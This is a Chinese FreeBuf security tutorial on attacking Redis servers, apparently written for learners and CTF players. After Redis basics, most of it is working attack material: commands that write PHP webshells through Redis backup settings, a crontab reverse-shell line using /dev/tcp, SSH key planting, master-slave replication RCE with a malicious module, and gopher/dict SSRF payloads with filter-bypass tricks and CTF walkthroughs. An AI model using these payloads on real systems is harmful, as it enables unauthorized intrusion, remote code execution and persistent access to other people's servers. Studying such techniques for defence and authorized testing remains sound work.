freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Redis安全问题
2022-03-02 11:00:41
所属地 广东省

redis基础

一些基础操作

redis是一个key-value型数据库,详细基础知识可以参考:https://www.runoob.com/redis,这里把一些要点给罗列出来

  • ubuntu 安装 redis

sudo apt-get update
sudo apt-get install redis-server
  • 启动 redis 和 client 客户端连接

redis-server指的是 redis 服务器,可以使用-port指定端口,默认是6379

redis-server

redis-cli指的是 redis 命令行客户端

redis-cli -h 127.0.0.1 -p 6379
  • 设置键值对

分别用setget来设置和获取键值对,用keys *获取redis中所有可用的key

127.0.0.1:6379> set a 1
OK
127.0.0.1:6379> get a
"1"
127.0.0.1:6379> keys *
1) "a"
  • 配置查看和修改

redis 的配置文件名为redis.conf,在 windows 下为redis.windows.conf,我们可以通过config命令获取配置项等,这里有两个特别注意一下就是dir指定本地数据库存放目录,dbfilename指定本地数据库文件名,默认值为dump.rdb

127.0.0.1:6302> config get *
...
127.0.0.1:6302> config get dir
1) "dir"
2) "/data"
127.0.0.1:6302> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

然后修改的话可以使用set

127.0.0.1:6379> config set loglevel "notice"
OK
127.0.0.1:6379> config get loglevel
1) "loglevel"
2) "notice"

数据类型

Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)

redis协议

redis 使用的是 resp 协议,通过 wireshark 抓本地的包,然后设置连上 redis 再设置个键值对观察一下他的协议格式

1646189464_621edb98693cab94d0127.png!small?1646189462727

  • *3表示set a 1这样的以空格为分割的元组的属性个数

  • $3表示set的长度,同理往下的$都是表示长度

所以可以得出 redis 协议的格式如下

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

注意这里每一行后面都是由CRLF终止的

两种持久化运作方案

  • RDB

RDB是对 redis 中的数据执行周期性的持久化,通过配置文件中设置检查间隔时间与备份触发条件来对数据进行周期性的持久化

  • AOE

AOF机制对每条写入命令作为日志记录,以append-only的模式写入一个日志文件中,在 redis 重启的时候,可以通过回放AOF日志中的写入指令来重新构建整个数据集

更多可以参考:http://redis.io/topics/persistence

未授权访问的利用

这个漏洞产生的原因是 redis 直接绑定在 0.0.0.0:6379 上,并且默认情况下密码会为空,也就是说没对访问IP,端口进行限制,以及设置密码等措施,那么攻击者就可以未授权访问 redis,从而进行写 webshell 等一系列的操作

然后 redis 的版本是在3.2以上的话,复现时需要编辑修改/etc/redis/redis.conf文件

  • 注释bind 127.0.0.1

  • protected-mode的值设为 no

修改为之后关闭 redis 进程,在使用kill -9 pid仍然无法停止 redis 的话,可以使用如下命令

/etc/init.d/redis-server stop

然后用如下命令重新启动 redis

sudo redis-server /etc/redis/redis.conf

写webshell

利用 redis 备份文件向 web 根目录写 webshell,使用条件:

  • 已知网站根目录

  • 有文件读写权限

┌──(root kali)-[~]
└─# redis-cli -h 192.168.0.103 -p 6379
192.168.0.103:6379> config set dir /var/www/html
OK
192.168.0.103:6379> config set dbfilename shell.php
OK
192.168.0.103:6379> set shell "<?php eval($_GET[1]);?>"
OK
192.168.0.103:6379> save
OK

可以看到我们已经成功的写入

1646189480_621edba85bb62d9c45ac7.png!small?1646189478700

还有就是执行flushall的话,会删掉 redis 内的全部键值对

crontab反弹shell

写定时任务的两个文件:

  1. /var/spool/cron/目录下存放的是每个用户包括 root 的 crontab 任务,Ubuntu 系统在/var/spool/cron/crontabs/<username>,Centos 系统则在/var/spool/cron/<username>

  2. /etc/crontab这个文件负责调度各种管理和维护任务,Centos 和 Ubuntu 系统均存在这个文件,需要 root 权限

  • bash 反弹 shell

这种方法在 ubuntu 不能够使用,原因有两个

  1. 如果写/etc/crontab文件,会夹杂脏数据导致命令语法报错

  2. 如果写/var/spool/cron/crontabs/<username>文件因为 redis 写 644 的权限,但 ubuntu 要求执行定时任务文件权限必须是 600,否则报错INSECURE MODE (mode 0600 expected) (crontabs/root),并且写这个文件也会语法报错

但是在 centos 上则不会,所以在 centos 上可以使用这种方法

config set dir /var/spool/cron
config set dbfilename root
set shell "\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n"
save

写ssh-key

使用条件比较苛刻:

  • redis 是以 root 权限启动

  • 允许密钥登陆

一般 ssh 公钥存放目录为/root/.ssh,目的就是将自己的公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以直接使用对应的私钥登录目标服务器,复现步骤如下

  1. 在本地生成公私钥ssh-keygen -t rsa

1646189491_621edbb3defa387369497.png!small?1646189490788

  1. 将公钥写入临时文件中

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/rsa.txt   
  1. 同样的使用 config 写入文件

cat /tmp/rsa.txt | redis-cli -h ip -p 6379 -x set rsa
redis-cli -h ip -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
  1. ssh登录

ssh -i id_rsa root@ip

网上有利用脚本:https://github.com/JoyChou93/hackredis

主从复制

主从复制基础

主从复制,是指将一台 Redis 服务器的数据,复制到其他的 Redis 服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点,从机只负责读,主机只负责写

默认情况下,每台Redis服务器都是主节点,且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点,从节点也可以设置为其他节点的主节点,此时就达成了一个集群

然后起两个 redis5.0 的 docker

docker run -p 6301:6379 -d redis:5.0 redis-server
docker run -p 6302:6379 -d redis:5.0 redis-server
  • 主节点端口:master:6301

  • 从节点端口:slave:6302

从节点要复制主节点命令slaveof ip port

要断开则用slaveof no one

1646189505_621edbc14a32fbffe5b87.png!small?1646189504301

这里可以看出主节点的操作会和从节点同步

通常在 redis4.0 以前可以把 shell 写进主节点的键值对里面,然后通过主从复制把 shell 复制过来,而在 4.x 和 5.x 则可以通过外部拓展,构造恶意.so文件,然后用 python 起一个服务去模拟 redis 的主节点,并且在全量复制的时候把数据库文件替换成恶意.so文件,从而达到 rce

主从复制RCE

  • 配合模块加载 rce

在配合主从复制之前,先了解一下模块加载是什么回事,redis 从 4.0 版本开始加入了对外部扩展模块的支持,模块的加载方式:

  1. 一种是在配置文件redis.conf中使用loadmodule /path/to/mymodule.so在 redis 启动时加载

  2. 另一种方式在运行时使用命令MODULE LOAD /path/to/mymodule.so加载。加载的模块可以使用命令MODULE LIST查看,使用MODULE UNLOAD mymodule卸载

这里为了方便直接把.so文件复制到容器里面

docker cp /home/kawhi/jiaoben/RedisModules-ExecuteCommand-master/module.so modest_nobel:/data/exp.so

然后执行

module load /data/exp.so
system.exec "whoami"

1646189516_621edbccbfd106ed568e8.png!small?1646189515263

可以看到已经漏洞利用成功

再说回到主从复制中,主节点可以通过 fullresync (全量复制)同步.so文件到从节点上,进而执行命令,复现过程需要两个脚本:

生成.so文件:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

恶意端:https://github.com/LoRexxar/redis-rogue-server

原理就是通过模拟恶意服务端来作为主节点,并模拟fullresync请求,我们将生成的so文件放到恶意端的脚本目录下,然后运行

1646189523_621edbd3e2956ee570077.png!small?1646189522835

然后使用system.exec "whoami"的形式来执行命令

1646189531_621edbdb5ff4e707e8bdc.png!small?1646189529799

可以看到已经成功执行命令

或者可以用vulhub的脚本:https://github.com/vulhub/redis-rogue-getshell

SSRF与redis

ssrf 打 redis 就是将上面的未授权访问的一些方法伪造成 redis 的数据,然后进行编码,再通过 gopher 协议等发送到存在 redis 的服务器上

gopher协议的利用

gopher 协议默认端口是70,因为他支持多行所以需要加一个字符被他吃掉,使用格式gopher://ip:port/_data,我们可以通过它来发送 redis 的数据,比如设置一个键值对

import urllib
import requests
test =\
"""*3
$3
set
$5
kawhi
$3
123
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
#_%2A3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Akawhi%0D%0A%243%0D%0A123%0D%0A

1646189540_621edbe47d924777349e3.png!small?1646189539022

gopher协议猜测弱口令

我们可以使用 gopher 协议来猜测 redis 的弱口令

首先在redis-cli连上之后使用config set requirepass "123456"设置 redis 的密码

或者直接修改redis.conf文件

sed -i 's/#requirepass 123456/requirepass 123456/g' /etc/redis/redis.conf

我们设置好密码之后可以抓包看到其实是发送了这么一段命令

1646189548_621edbecd528fd19bda12.png!small?1646189547210

而这是可以进行伪造的,脚本如下

import urllib
import requests
test =\
"""*2
$4
AUTH
$6
123456
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)

如果密码正确的话,会回显+ok

密码错误则会报错

1646189557_621edbf59b2fc3e84f361.png!small?1646189555919

由此我们甚至可以写一个脚本来爆破弱口令

gopher协议主从复制

因为我们需要将slave of命令通过 ssrf 的 gopher 协议发到目标机上,所以没办法像上面一样用脚本一键rce,我们可以用一个被动连接的主机来进行主从复制,脚本地址:https://github.com/Dliv3/redis-rogue-server

我们可以先在 redis 的客户端试一下能不能行,如下

1646189565_621edbfdb5cf21b31a9ce.png!small?1646189564825

1646189571_621edc03de364f645fa0c.png!small?1646189570353

发现已经漏洞成功利用,然后再把上面的命令转成 redis 的协议格式,

*4
$6
config
$3
set
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$7
slaveof
$13   //ip长度
192.168.2.105 //ip
$5   //端口长度
21000 //端口
*3
$6
module
$4
load
$11
/tmp/exp.so
*2
$11
system.exec
$2
id
*1
$4
quit

再用上面的脚本编码即可

1646189585_621edc1118f356686741d.png!small?1646189584080

gopher协议其他部分

剩余部分的未授权访问利用也是差不多的,就不赘述了,也可以直接用以下工具编码

可以webshell\定时任务\密钥\模块加载等功能,地址:

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher

或者这个工具gopherus可以webshell\定时任务一键生成

https://github.com/tarunkant/Gopherus

dict协议的利用

我们知道 dict 协议通常是可以用来探测端口信息的,例如

curl dict://127.0.0.1:6379/info

1646189595_621edc1bed8a279ba08fc.png!small?1646189594624

但是 dict 协议还有一个功能就是利用格式如dict://serverip:port/命令:参数来发送 redis 命令,例如

curl "dict://192.168.2.107:6379/set:kawhi:123456"

这里的:也可以换成空格

1646189603_621edc23bd2b4a284dc5c.png!small?1646189602409

dict协议写shell

如果我们换成

curl "dict://192.168.2.107:6379/set:shell:<?php phpinfo();?>"

会发现只接收到一部分,?号后面被截断了

192.168.2.107:6379> get shell
"<"

有三种方法可以绕过

  • 第一种

这里可以参考这篇文章的绕过方法:https://mp.weixin.qq.com/s/vCZWTOmBg8k8gAE3yJfedQ

主要是把<?等特殊符号转义编码了

link.php?u=dict://0:6379/set:shell:"\x3C\x3Fphp\x20echo`$_GET[x]`\x3B\x3F\x3E"
link.php?u=dict://0:6379/config:set:dir:/var/www/html/
link.php?u=dict://0:6379/config:set:dbfilename:shell.php
link.php?u=dict://0:6379/save
  • 第二种

可以参考文章:一次"SSRF-->RCE"的艰难利用

这里主要是用 bitop 命令绕过?截断

1646189616_621edc306d8e8ab6b2cd4.png!small?1646189614958

bitop 可以将 key 进行AND(逻辑并)、OR(逻辑或)、XOR(逻辑异或)、NOT(逻辑非)四种操作中的任意一种,将结果保存到 destkey 上,这里直接给出郁离歌师傅的 payload

dict://0:6379/set:shell:"\xc3\xc0\x8f\x97\x8f\xdf\xbf\x9a\x89\x9e\x93\xd7\xdb\xa0\xaf\xb0\xac\xab\xa4\xce\xa2\xd6\xc4\xc0\xc1"
dict://0:6379/bitop:not:shell:shell

可以发现写入了一句话木马

192.168.2.112:6379> get shell
"<?php @eval($_POST[1]);?>"
  • 第三种

主要是利用 setbit 改动二进制的位置即可把字符变回特殊字符

Redis Setbit 命令用于对 key 所储存的字符串值,设置或清除指定偏移量上的位(bit)

这里直接给出郁离歌师傅的 payload

127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<>php @eval($_POST[1]);>>"
OK
127.0.0.1:6379> setbit webshell 191 1
(integer) 0
127.0.0.1:6379> setbit webshell 15 1
(integer) 0
127.0.0.1:6379> save
OK

dict协议主从复制

和上面差不多,这里提前在主节点设置一个键值对

192.168.2.112:6301> set shell "<?php phpinfo();?>"
OK

然后用dict协议进行主从复制

dict://0:6379/slaveof:192.168.2.112:6301
dict://0:6379/config:set:dir:/var/www/html
dict://0:6379/config:set:dbfilename:shell.php
dict://0:6379/save
dict://0:6379/slaveof:no:one

1646189628_621edc3c7836231fdb1b8.png!small?1646189626830

要加载.so恶意文件的话,像上面那样启动个 python 的 redis 被动连接服务即可

dict协议其他部分

1646189636_621edc441f85ba82bd49b.png!small?1646189634558

这里贴下郁离歌师傅写的,dict协议并不能像上面gopher协议那样来猜测弱口令

经典例题

gactf2020 ssrfme

因为没有环境复现,可以参考:https://my.oschina.net/u/4593189/blog/4646830

网鼎杯 玄武 - SSRFMe

在buu平台可以复现

第一步利用 curl 和 parse_url 绕过的小trick

?url=http://www.baidu@0.0.0.0/hint.php

然后得到提示:redispass is root,可得知 redis 的弱口令是root,然后用上面的 gopher 协议主从复制去打,在自己的vps上启动被动链接

*2
$4
AUTH
$4
root
*3
$7
SLAVEOF
$2 //vpsip长度
ip //vpsip地址
$5
21000
*4
$6
CONFIG
$3
SET
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$6
MODULE
$4
LOAD
$11
/tmp/exp.so
*2
$11
system.exec
$13
cat${IFS}/fl*
*1
$4
quit

用上面的脚本编码之后再手动 url 编码一次,用 gopher 协议发过去即可

1646189646_621edc4ee79c649a62071.png!small?1646189647281

参考链接

http://yulige.top/?p=775

https://xz.aliyun.com/t/7974

# Redis
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录